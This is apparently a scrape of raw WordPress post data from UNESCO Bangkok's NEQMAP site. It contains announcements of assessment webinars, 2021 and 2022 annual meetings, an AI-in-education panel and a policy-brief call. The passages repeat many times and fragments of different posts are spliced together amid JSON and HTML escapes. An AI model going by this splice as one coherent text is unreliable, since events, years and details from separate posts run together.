The case studies also look at how policymakers and education leaders can help to promote and reinforce the formative use of assessment in schools for a more learner-centered and differentiated approach to teaching and learning.\u00a0<\/p>\n\n\n\n<\/p>\n\n\n\n<div class=\"wp-block-file\"><object class=\"wp-block-file__embed\" data=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" type=\"application\/pdf\" style=\"width:100%;height:600px\" aria-label=\"Webinar Concept Note and Agenda\"><\/object><a id=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\">Webinar Concept Note and Agenda<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\">Download<\/a><\/div>\n\n\n\n<div class=\"wp-block-file\"><a id=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\">NEQMAP-Knowledge-Sharing-Webinar<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\">Download<\/a><\/div>\n","post_parent":0,"guid":"https:\/\/neqmap.bangkok.unesco.org\/?p=5713","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":5689,"post_author":"1","post_date":"2023-05-30 12:07:19","post_date_gmt":"2023-05-30 05:07:19","post_content":"\nDate and Location: <\/strong> Wednesday 14th<\/sup> of June at 3:30pm - 4:30 pm (GMT+7\/Bangkok time) via Zoom<\/p>\n\n\n\nType of event:<\/strong> Online Webinar<\/p>\n\n\n\nRegistration link:<\/strong> <a href=\"https:\/\/bit.ly\/3WTS6ul\"><\/a><a rel=\"noreferrer noopener\" href=\"https:\/\/bit.ly\/3WTS6ul?fbclid=IwAR1WuAUbkqF4MiBRgIG4Xme6lebX8AXpahZVZXDYssEyZnqrpf2bi7jhScU\" target=\"_blank\">https:\/\/bit.ly\/3WTS6ul<\/a><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<\/p>\n\n\n\nPresentation Brief:<\/strong><\/p>\n\n\n\nIEA\u2019s PIRLS (the Progress in International Reading Literacy Study) is the global standard for monitoring reading achievement at the fourth grade.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education. As we approach a new era of education in the age of AI, our panel of top experts will explore these issues, potential consequences, and possible opportunities for education professionals.<\/p>\n\n\n\nSpeakers:<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-full is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/09\/Screenshot-2023-09-14-at-2.46.12-PM.webp\" alt=\"\" class=\"wp-image-5749\" style=\"width:148px;height:175px\" width=\"148\" height=\"175\"\/><\/figure>\n\n\n\nMichela Pagano<\/strong> has been a member of UNESCO Headquarters' Unit for Technology and AI in Education since 2016, actively contributing to AI initiatives and implementing ICT projects in Africa.

As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues.

As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education. As we approach a new era of education in the age of AI, our panel of top experts will explore these issues, potential consequences, and possible opportunities for education professionals.<\/p>\n\n\n\nSpeakers:<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-full is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/09\/Screenshot-2023-09-14-at-2.46.12-PM.webp\" alt=\"\" class=\"wp-image-5749\" style=\"width:148px;height:175px\" width=\"148\" height=\"175\"\/><\/figure>\n\n\n\nMichela Pagano<\/strong> has been a member of UNESCO Headquarters' Unit for Technology and AI in Education since 2016, actively contributing to AI initiatives and implementing ICT projects in Africa.

We welcome the collective wisdom of educational researchers and policy experts to offer insight on socio-economic background, gender, ethno-linguistic minorities, and rural and urban differences in learning outcomes.<\/p>\n\n\n\nThis series aims to:<\/p>\n\n\n\n<ol>\n<li>Inform thinking, research, and methods on evidence-based policymaking and practice in education, and<\/li>\n\n\n\n<li>Support knowledge-sharing among education stakeholders involved in assessments of student learning.<\/li>\n<\/ol>\n\n\n\nWe are currently seeking contributions to the first two briefs, focusing on (1) learning outcomes in Asia-Pacific by socio-economic background, and (2) gender. The briefs will identify learning outcome gaps, potential underlying factors, and propose promising policy solutions to ensure better learning for all, using large-scale assessment (LSA) datasets as primary source data.<\/p>\n\n\n\n1. Socio-economic Background and Learning:<\/strong> This brief will review learning outcomes of students along the socio-economic spectrum, with a particular focus on school level analysis and the concept of resilience as defined by PISA.<\/p>\n\n\n\n2. Gender and Learning:<\/strong> This brief will analyze learning outcomes of boys and girls across various competency domains, looking at socio-economic background, learners' perceptions of schools, schooling experiences, developmental and cultural factors, and school policies and practices.<\/p>\n\n\n\nContributors should focus on learning gaps in Asia-Pacific, with attention given to school-aged students in formal education. Comparable data from international, regional, and national assessments, such as PISA, TIMSS, PIRLS, SEA-PLM, PILNA etc., should be used.<\/p>\n\n\n\nFormat:<\/strong> Written policy brief (~10 to 15 pages in a WORD document)<\/p>\n\n\n\nTentative Timeline:<\/strong><\/p>\n\n\n\n<ul>\n<li>Application Deadline: July 20th, 2023<\/li>\n\n\n\n<li>Notification of Selection: July 30th, 2023<\/li>\n\n\n\n<li>Submission of Detailed Outline: Mid-August 2023<\/li>\n\n\n\n<li>Feedback from Editorial Team: End of August 2023<\/li>\n\n\n\n<li>1st Draft Submission: September 2023<\/li>\n\n\n\n<li>1st Round of Reviews and Feedback: October 2023<\/li>\n\n\n\n<li>Revision of Drafts: November 2023<\/li>\n\n\n\n<li>Publication and Launch: December 2023<\/li>\n<\/ul>\n\n\n\n<\/p>\n\n\n\nHow to Apply:<\/strong><\/p>\n\n\n\n Fill in the application form (see Annex 1) and email it to the NEQMAP Secretariat (neqmap@unesco.org) by 20th July 2023, 00:00 Bangkok time (GMT+7).

In this webinar we discuss the PISA creative thinking assessment framework, including what is involved in the assessment and what we hope to learn from the data.<\/p>\n\n\n\nDate:<\/strong> 14 March 2023, 3:30 pm \u2013 4:45 pm Bangkok time (GMT+7)<\/p>\n\n\n\nRegistration Link: <a href=\"http:\/\/bit.ly\/41rrcfb\">http:\/\/bit.ly\/41rrcfb<\/a><\/strong><\/p>\n\n\n\nFor any questions on this webinar, please get in touch with the NEQMAP Secretariat (<a href=\"mailto:neqmap@unesco.org\">neqmap@unesco.org<\/a>)<\/p>\n","post_parent":0,"guid":"https:\/\/neqmap.bangkok.unesco.org\/?p=5651","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":5596,"post_author":"1","post_date":"2023-02-09 11:22:00","post_date_gmt":"2023-02-09 04:22:00","post_content":"\nThe NEQMAP Secretariat kindly invites all its members to join\u00a0a webinar\u00a0consultation on the needs for\u00a0\u201cIntegrating 21st<\/sup>\u00a0century skills in teaching and learning policies and practices\u201d on 24 February 2023\u00a0from 9:30 am to 11:30 am Bangkok\u00a0time (GMT+7)<\/strong>.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education. As we approach a new era of education in the age of AI, our panel of top experts will explore these issues, potential consequences, and possible opportunities for education professionals.<\/p>\n\n\n\nSpeakers:<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-full is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/09\/Screenshot-2023-09-14-at-2.46.12-PM.webp\" alt=\"\" class=\"wp-image-5749\" style=\"width:148px;height:175px\" width=\"148\" height=\"175\"\/><\/figure>\n\n\n\nMichela Pagano<\/strong> has been a member of UNESCO Headquarters' Unit for Technology and AI in Education since 2016, actively contributing to AI initiatives and implementing ICT projects in Africa.

These assessments are used to generate next-generation credentials which provide a trusted profile of a learner, allowing them to showcase what they are truly capable of, including their successes, across the full range of valued learning. Her work has been instrumental in current initiatives to rethink the sufficiency of metrics like PISA and other standardised tests, arguing that if used on their own, they narrow the gaze of teachers and learners to what is examinable by the old methods.

The case studies also look at how policymakers and education leaders can help to promote and reinforce the formative use of assessment in schools for a more learner-centered and differentiated approach to teaching and learning.\u00a0<\/p>\n\n\n\n<\/p>\n\n\n\n<div class=\"wp-block-file\"><object class=\"wp-block-file__embed\" data=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" type=\"application\/pdf\" style=\"width:100%;height:600px\" aria-label=\"Webinar Concept Note and Agenda\"><\/object><a id=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\">Webinar Concept Note and Agenda<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\">Download<\/a><\/div>\n\n\n\n<div class=\"wp-block-file\"><a id=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\">NEQMAP-Knowledge-Sharing-Webinar<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\">Download<\/a><\/div>\n","post_parent":0,"guid":"https:\/\/neqmap.bangkok.unesco.org\/?p=5713","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":5689,"post_author":"1","post_date":"2023-05-30 12:07:19","post_date_gmt":"2023-05-30 05:07:19","post_content":"\nDate and Location: <\/strong> Wednesday 14th<\/sup> of June at 3:30pm - 4:30 pm (GMT+7\/Bangkok time) via Zoom<\/p>\n\n\n\nType of event:<\/strong> Online Webinar<\/p>\n\n\n\nRegistration link:<\/strong> <a href=\"https:\/\/bit.ly\/3WTS6ul\"><\/a><a rel=\"noreferrer noopener\" href=\"https:\/\/bit.ly\/3WTS6ul?fbclid=IwAR1WuAUbkqF4MiBRgIG4Xme6lebX8AXpahZVZXDYssEyZnqrpf2bi7jhScU\" target=\"_blank\">https:\/\/bit.ly\/3WTS6ul<\/a><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<\/p>\n\n\n\nPresentation Brief:<\/strong><\/p>\n\n\n\nIEA\u2019s PIRLS (the Progress in International Reading Literacy Study) is the global standard for monitoring reading achievement at the fourth grade.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

